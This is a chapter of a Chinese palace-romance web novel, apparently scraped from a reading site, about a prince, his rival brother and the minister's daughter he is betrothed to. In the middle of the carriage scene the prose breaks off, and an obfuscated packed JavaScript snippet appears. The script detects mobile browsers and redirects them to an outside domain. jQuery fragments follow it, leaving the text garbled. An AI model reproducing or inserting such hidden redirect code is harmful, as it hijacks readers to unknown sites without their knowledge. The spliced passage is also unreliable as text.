人都道做人做事,最忌交浅言深。
李怀安现下觉得不是。她对这个多年未见的大哥很有好感。
他过来时,叶净渊和李怀仁正在说话,李怀仁还很有些伤感和叹惋,距离叶净渊隔着一步的空间,凝望着她,苦涩笑着说:“我会等你,直到你和秦王兄成婚前夜。”
叶净渊还未出声,李问渠便从侧方过来了。因角度问题,再加上注意力没在那里,李怀安是一点都没有察觉到的,那两人也是。
那时,她的心脏狠狠狂跳,担心这样的僭越之语,会惹怒她这位正得圣宠的大皇兄,害怕他一句话,就让身边的两人再无宁日,正要先一步开口含糊事实以做遮掩,就听到他问:
“四弟也喜欢叶大小姐吗?”
李怀仁眸光一闪,正欲解释,被叶净渊抬手制止。他看过去,叶净渊幅度细微地摇头,于是退后,静默不言。
叶净渊说:“陛下赐婚你我那天,祖父本欲向陛下请旨,为我和四殿下赐婚。”
李问渠心间涟漪不断,一浪接一浪涌来,最后归在一起,掀起滔天巨幕。
很难说那是怎样一种感觉,极其复杂。
细品之下,排在首要位置的,是庆幸和懊恼。
庆幸自己于前一夜回来,阻止了那场赐婚。
懊恼自己没有晚一天回来,成全叶净渊早就定好的这桩亲事。
他勉强轻扯嘴角,看上去还算从容,对他二人说:“抱歉。”
对面三人俱是一愣。
又听他道:“可我也是真喜欢叶净渊。”
不是叶大小姐,不是相府嫡女,只是叶净渊。
他直视着李怀仁,眼也不眨,就这样直白不含糊地表露心意。李怀仁听懂了他话语中暗指的意思,忽然有些想笑。
这不就暴露了,他在前二十几年的人生里,就已经和叶净渊认识了吗?
据李怀仁所知,尚在皇宫时,他与先皇后一同被囚困宫内五年之久,并没有契机。
那就只能是离宫以后。
这就很有发散的余地了。
无论他是因为什么,都可以往意图谋反这方面说。
他静静地看着他,看他这位离宫多年的大皇兄,这位……周身环绕着温柔开朗氛围的……李怀真。
李怀仁几乎恍惚了。
记得这人离宫前他们最后一次见面,李怀真胆小怯懦,臊眉耷眼,散发着一种腐朽衰败的气息……与面前高大鲜亮的人完全不能归为一谈。
“这件事上,是我对不住你。只是净渊,我既已抓住,便不会相让与你。你方才也说,你会等她,直到我们成婚前夕……”李问渠顿了顿,才又说道:“我不会阻拦你们见面,也不会打扰你们相处,这段时间里,如果你能说服净渊,让她选择你,我会成全。”
李怀仁颇觉震撼,抿了抿唇,“你真这么想?”
李问渠侧头看了眼叶净渊,缓缓点头,忽然笑了一下。那是一个很温和的笑容,真就如春风拂过,好似带着他的祝福与轻柔呢喃低语,转头说道:“只要她亲自来告诉我,她选了你。”
李怀仁自认做不到这样。他与叶净渊,本就是自己一厢情愿,对方温柔相和。方才她来找自己,就是表示歉意,并感谢自己对她的情意。
如今李怀真回来,与他身份相当,同样怀着深厚情意……他完全没有把握,能够让叶净渊亲口说选择自己。
也罢,她能幸福就好。
退后两步,李怀仁躬身说道:“是弟弟冒犯,希望大哥和大嫂千万勿怪。弟弟在这里,祝你们二位白首相携,恩爱一世。”
李问渠蓦然松了口气,一时间竟然忘记言语。
叶净渊自如地接过来,同他笑着闲聊。李问渠察觉以后,偷偷勾起唇角,因着那点隐秘的心思,依旧没有开口说话,安静地挪动步子站到叶净渊身旁,余光扫过她的脸庞,偶尔分出一丝心神,听他们的交谈。
李怀安也加入其中,心中对叶净渊的婚事终于安定感到欣慰,也由衷祝福。
至于这位情绪稳定、在听到李怀仁和叶净渊曾经有过暧昧也没有乱发脾气的大皇兄,突然就有点想同他多说几句的意思。
可时间已不早,叶净渊说:“陛下有旨,要吾二人随我父亲前去江北赈灾,这就得回去准备了。待我们回来,定去那最好的酒楼,请四殿下和公主好好吃一顿酒。”
李怀仁还是有些遗憾,笑着望了叶净渊一眼,“那就如此说定。”
两人转身,叶府马车已经驶了过来。赵寻真驾车,叶拭微坐在门口,撩开车帘朝他们望。
燕绍川驾着马车缓缓经过,期间给李问渠递了一个眼神。
他们便顺势坐上去叶府马车,没再同李怀章等人说话。
走过这条漫长宫道,阒静冷寂涔然而去,喧嚣人声渐渐涌进耳朵。
叶拭微看一眼李问渠,宫门口的事情犹在眼前。
“你们聊,我出去坐。”她解下袖箭,递给叶净渊,示意她机括的位置,无视李问渠满脸不解、恍然与震惊,拿起幕篱,扣在头上,掀开帘子走了出去,和赵寻真一起坐在车板上。
赵寻真偏头,隔着一层轻纱正对上叶拭微的目光。
“好好驾车。”叶拭微笑着说,“平稳些。”
赵寻真同样笑着回道:“遵命,拭微……小姐。”
叶拭微轻轻挑眉,没有反驳。
马车厢内,叶净渊笑着收好弩箭,扣在自己腕间,替叶拭微说话:“她没有恶意。”
李问渠想了想说:“我知道,她只是想震慑我。”
旋即突然笑了,问叶净渊:“你会拿弩箭对准我吗?”
叶净渊看着他,静默片刻,忽然举起手腕,轻撸起一截袖子,袖箭暴露在空气之下。她抬手让手臂悬在空中,笑着说:“对准了。”
李问渠怔然一瞬,突然抓住她的手腕,一边往她身旁坐一边扯着她的腕子轻拉过来,最后停落在心口位置,低低地“嗯”了声,“对准了。”
比袖箭更靠近他胸腔的,是叶净渊在要靠近之时突然握住的拳头。她肤色极白,贴在李问渠黑色衣料上,泾渭分明。
李问渠垂眸瞥了一眼,便立刻松开抓她手腕的手。叶净渊却也没有把手撤回,仍虚虚地抵在他心口。
李问渠呼吸一个来回,屏住气息,悄声问她:“你和李怀仁……你是真心吗?”
“不算。”叶净渊说:“只是我也不反感他,他来求亲,我家里人都同意,我便也没有意见。”
“如果我不出现,现在你会是四皇妃,对吗?”
叶净渊纠正道:“是未来的四皇妃。”
李问渠忽地理会到她话中意思,脸颊倏然红了。他轻咳两声,眼神略有闪躲,声音更小了点,凑近叶净渊,几乎要额头贴额头,“你是说,即便到了那时,我也还有机会,是吗?”
叶净渊轻笑道:“我没有说……不过,若是真有那一幕,殿下会争取我吗?”
“理智让我不要去,但情感上,大抵做不到……”李问渠很认真地想了会儿,“你幸福的话,另当别论。”
叶净渊看着他,表情是笑着的,说出口的话却是让人心冷的。
“如果有那一天,我希望殿下不要来。”她看着李问渠微变的表情,淡笑着说:“如果晚了,那就不要来了。我不喜欢迟来的人,也不要迟来的爱。”
李问渠愣了愣,忽然觉得庆幸,但又有些不确定,犹疑地问:“现在的我,来迟了吗?”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028943|175147||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“殿下自己觉得呢?”
李问渠不知道,但想起来李怀章说过的话——到底是我们有缘无分……
叶净渊自己也告诉过他,她学箫是为了李怀章,只是意外被他截胡,但很快又为他去学了别的……
李问渠往后退了许多,没再保持方才那般亲近暧昧的姿势。他坐直身体,与她对视,笑着叹了声气,“还是迟了吧……你或许,喜欢李怀章?”
叶净渊看着他微笑,没有回答,因他身体后撤而空悬的手也收了回来,攥紧的拳头松开,平放在身前。
“你别喜欢他了吧……”李问渠就觉得自己还能再争取一下,他想了想,认真说李怀章的坏话:“他这个人心太坏了,明知道你我已有婚约,却还是要在我面前说那些模棱两可暧昧不清的话,我不知道他抱的什么心思,但是想来,应是要让我误会你,同你生嫌隙……”
他对李怀章了解实在不多,说了这些以后就再也挑不出别的错处,冥思苦想许久,还是只能憋出一句:“你别喜欢他了吧。”
说这话时,他微垂着眼皮,往前倾了些身体,全神贯注地凝望叶净渊,十分专心致志的模样,眉峰微凝,像是面临重军压境。
叶净渊问他:“那你同我生嫌隙了吗?”
李问渠笑了笑,说“没有”。
他像是不怎么好意思,又往后退了一点,后背撞上车厢壁,“但确实也没有很高兴。”
“怎么?”叶净渊问。
“我那时候处境太差了,如果是我先认识你的,该有多好。”李问渠没忍住叹了声气,愤愤道:“我是来得晚了。”
“你可能误会了什么。”叶净渊说:“我学箫,学舞,看上去是为了李怀章,可最根本的,实则是为了自己。”
“我同李怀章,的确是有过不太清楚的一段。那时候我们甚至年纪都不大,要谈喜欢,其实有些幼稚……”
“我不会否认我的那段过去,可我方才也同你说了,那日朝堂之上,祖父原本要为我请的婚旨,是我和四殿下。”
李问渠眼睛亮了亮,“你是说,李怀章才是那个来迟的人?”
叶净渊点了点头。
“那我呢?也来迟了吗?”李问渠追问。
叶净渊凝神说道:“我现下的确对你没有感情,但也不止是你,如今我对这世上任何一个人,都没有男女之情……可是,我和你有婚约在身……”
她顿了顿,说道:“——我会是将来的秦王妃。”
李问渠拥有的本就不多,叶净渊这段话于他而言,完全是意外之喜,让他忍不住心尖发颤,欢欣雀跃。
这份心情,一直到他们出发前往江北,长途跋涉五六日,也没有消去。
同样多日过去心情仍不平静的,还有叶拭微。
相府少了叶净渊,对她来说,整个相府都变得不是很好。她也学会了叶净渊喜欢的生活方式,练字修心。
如今几日过去,她的字仍旧没有长进,心态却好转不少。
但还是担心叶净渊。
他们离开的时间不久,便没有往家里怎么寄信,唯一一封,还是三日前抵达江北时报平安的信。
叶拭微知道自己其实没什么好担心的。崇文帝十分看重他们安危,派了不少人马保护。
随行侍卫和禁军、暗中守护的暗卫,可谓是安排得十分妥帖。
叶拭微后知后觉,自己原来是想一同过去。
她有些后悔,翻出《清心咒》开始临摹。
窗子突然响了。
她扭转头,一扇窗被推开,赵寻真的脸逆着光出现在眼前。
他跳下窗台,挥了挥手中那页纸,脸上五官张开,神采飞扬。他激动道:“我妹妹有消息了!”